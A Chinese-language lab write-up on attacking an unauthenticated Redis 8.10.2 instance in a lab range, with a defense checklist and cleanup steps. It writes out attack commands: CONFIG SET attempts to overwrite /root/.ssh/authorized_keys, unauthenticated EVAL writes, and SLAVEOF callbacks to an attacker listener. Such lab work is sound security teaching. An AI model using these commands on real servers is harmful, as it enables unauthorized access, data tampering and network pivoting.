目 录一、靶标与未授权验证1.1 未授权验证三法二、三条经典 RCE 链实测全部失效三、仍然可用EVAL 与主从回连3.1 EVAL未授权即可执行 Lua3.2 SLAVEOF 主从回连主动出网证据四、攻防演化与防御清单五、验收与清场5.1 验收标准5.2 清场一、靶标与未授权验证Redis 靶标10.10.10.240:6380Redis 8.10.2无 requirepass未授权访问。未授权 绑定 0.0.0.0 是 Redis 暴露面的两大原罪——老版本上这两点叠加即可直接拿 shell本篇要实测的正是在新版本上哪些还成立、哪些已失效。1.1 未授权验证三法# 法 1redis-cli推荐redis-cli -h 10.10.10.240 -p 6380 info server | grep -E redis_version|os:# redis_version:8.10.2 / os:Linux → 无需密码直接读到信息 未授权成立# 法 2容器内自查对照用docker exec redis-unauth redis-cli ping# PONG# 法 3裸 socket客户端不可用时的保底也能验证协议层printf PING\r\n | nc 10.10.10.240 6380# PONGRESP 协议响应版本信息顺带确认了攻击面边界8.10.2 是 2025 年后的新版本官方已对经典攻击面做了系统性加固。下一节逐条实测。二、三条经典 RCE 链实测全部失效老 POC 三件套写 SSH 公钥、写 WebShell、写 crontab。它们共同的前提是「通过 CONFIG SET dir/dbfilename 把数据文件写到任意路径」。实测结论先行三条链在 8.10.2 上全部被 CONFIG 拦截机制堵死。redis-cli -h 10.10.10.240 -p 6380 config set dir /root/.ssh/# 预期实测# (error) ERR CONFIG SET dir - protected config# 受保护配置protected config不允许运行时修改# 换 dbfilename、换 save 参数同样被拦redis-cli -h 10.10.10.240 -p 6380 config set dbfilename authorized_keys# (error) ERR CONFIG SET dbfilename - protected config三链逐条对照表实测结果经典链原理8.10.2 实测结论写 SSH 公钥dir→/root/.sshdbfilename→authorized_keys落盘后 SSH 免密登录config set dir/dbfilename 被 protected config 拦死整链失效写 WebShelldir→Web 根dbfilename→shell.phpRDB 快照带出恶意内容同上且需 root 运行 Redis Web 同机两个前提都难满足写 crontabdir→/var/spool/cron反弹 shell 定时任务同上且新版 cron 只认 0600 权限、严格格式RDB 文件带垃圾字节不再被解析主从复制 RCErogue serverSLAVEOF 恶意主节点投递 .so 模块加载模块加载路径已被锁死4.x~5.x 才有效8.x 不可行想复现老链完整过程怎么办用 Vulhub 起一个 redis:5.x 或 redis:4.x 环境vulhub-run.sh 按需启停老 POC 原样可跑。这正是「CVE 复现要锁版本」的具体案例——漏洞教学离不开版本对照。三、仍然可用EVAL 与主从回连堵住写文件不等于堵死一切。下面两条实测可用的能力仍构成真实风险。3.1 EVAL未授权即可执行 Luaredis-cli -h 10.10.10.240 -p 6380 eval return redis.call(set,pwn:test,EVAL_OK) 0redis-cli -h 10.10.10.240 -p 6380 get pwn:test# EVAL_OK → 未授权状态下任意读写数据业务危害照旧成立缓存投毒改 session/购物车/验证码数据、数据破坏、配合业务逻辑的越权。未授权 Redis 的价值从来不只是 RCE——「任意读写业务数据」本身就是高危。3.2 SLAVEOF 主从回连主动出网证据# Kali 先监听 6379 伪主节点nc -lvnp 6379# 靶场侧发起复制redis-cli -h 10.10.10.240 -p 6380 slaveof 10.10.10.110 6379# Kali 侧收到的回连实测# *1 / PING —— 副本节点的定期探活# 随后是 REPLCONF listening-port / capabilities 握手这条链的教学价值在「出网验证」数据库服务器向攻击机主动发起连接证明存在 outbound 通道——这是内网渗透判断「这台机器能不能做跳板」的硬证据。测完必须解除redis-cli -h 10.10.10.240 -p 6380 slaveof no one# OK —— 立即解除主从关系四、攻防演化与防御清单Redis 的加固时间线值得复盘4.x/5.x 时代未授权 CONFIG 任意写 模块加载 稳定 RCE 三件套6.x 起 protected config 出现CONFIG SET 关键项运行时锁定7.x/8.x 又锁死模块加载与出网面。老 POC 的失效不是偶然是官方针对每一条公开利用链的定点修复。防御清单按优先级requirepass 强口令 bind 内网地址从根上消除未授权暴露。protected-config 保持默认开启新版默认即开禁止在配置文件之外放改 dir/dbfilename 的能力。禁用或限制 EVAL/EVALSHA 的业务必要 性Redis 7 支持 ACL 按 用户/命令 粒度控权。网络层数据库网段禁止主动出网egress 白名单让「SLAVEOF 回连」这类通道天然不可达。以 ACL 替代共享 root 运行官方早就不推荐以 root 跑 Redis。五、验收与清场5.1 验收标准未授权三法至少两种拿到响应三条经典链各拿到一次 protected config 报错原文负面结论也是结论EVAL 写读 pwn:test 成功SLAVEOF 回连在 Kali 收到 PING 并解除。5.2 清场# 解除主从若未解除redis-cli -h 10.10.10.240 -p 6380 slaveof no one# 删除测试键redis-cli -h 10.10.10.240 -p 6380 del pwn:test# 终态确认无 slaveof 残留、无测试键redis-cli -h 10.10.10.240 -p 6380 info replication | grep master_host# master_host: 127.0.0.1 附近正常或空不应指向 10.10.10.110redis-cli -h 10.10.10.240 -p 6380 dbsize# 靶场初始键数量脏了就 FLUSHDB 重建或重启容器服务型靶标两篇到此完成。下一篇进入主机渗透Metasploitable2 的两条拿 shell 主线——vsftpd 笑脸后门直取 root与 Tomcat 弱口令部署 WAR。